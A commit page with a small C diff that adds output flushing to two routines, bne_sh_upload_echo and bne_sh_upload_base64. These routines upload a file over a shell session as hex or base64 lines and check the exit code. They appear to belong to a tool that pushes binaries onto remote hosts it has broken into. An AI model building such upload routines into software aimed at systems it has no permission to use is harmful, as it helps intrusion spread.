diff options
author | David Timber <mieabby@gmail.com> | 2020-09-22 02:51:29 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-22 02:51:29 +0930 |
commit | a90806846e881c0894726e89e1584540457a168d (patch) | |
tree | 8716530c12f753c7ab0363a45006416cf9243c40 | |
parent | 0c8697dd7206aeb761c8796cf160c5ec759aec23 (diff) |
* htbt: flush stdout/stderr on each upload tick
-rw-r--r-- | src/bne.c | 10 |
1 files changed, 6 insertions, 4 deletions
@@ -1436,7 +1436,7 @@ static bool bne_sh_upload_echo ( } memcpy(hexstr_p, s_ctx->nl, strlen(s_ctx->nl) + 1); - if (!bne_sh_send(s_ctx, hexstr)) { + if (!s_ctx->flush_f(s_ctx->ctx) || !bne_sh_send(s_ctx, hexstr)) { goto END; } } @@ -1444,7 +1444,8 @@ static bool bne_sh_upload_echo ( pth_yield(NULL); } - if (!bne_sh_send(s_ctx, s_ctx->nl) || + if (!s_ctx->flush_f(s_ctx->ctx) || + !bne_sh_send(s_ctx, s_ctx->nl) || !bne_sh_runcmd_line(s_ctx, &parser, "echo $EC;") || ec != 0) { @@ -1522,7 +1523,7 @@ static bool bne_sh_upload_base64 ( f_ret); memcpy(line + len, s_ctx->nl, strlen(s_ctx->nl) + 1); - if (!bne_sh_send(s_ctx, line)) { + if (!s_ctx->flush_f(s_ctx->ctx) || !bne_sh_send(s_ctx, line)) { goto END; } } @@ -1530,7 +1531,8 @@ static bool bne_sh_upload_base64 ( pth_yield(NULL); } - if (!bne_sh_send(s_ctx, s_ctx->nl) || + if (!s_ctx->flush_f(s_ctx->ctx) || + !bne_sh_send(s_ctx, s_ctx->nl) || !bne_sh_runcmd_line(s_ctx, &parser, "echo $EC;") || ec != 0) { |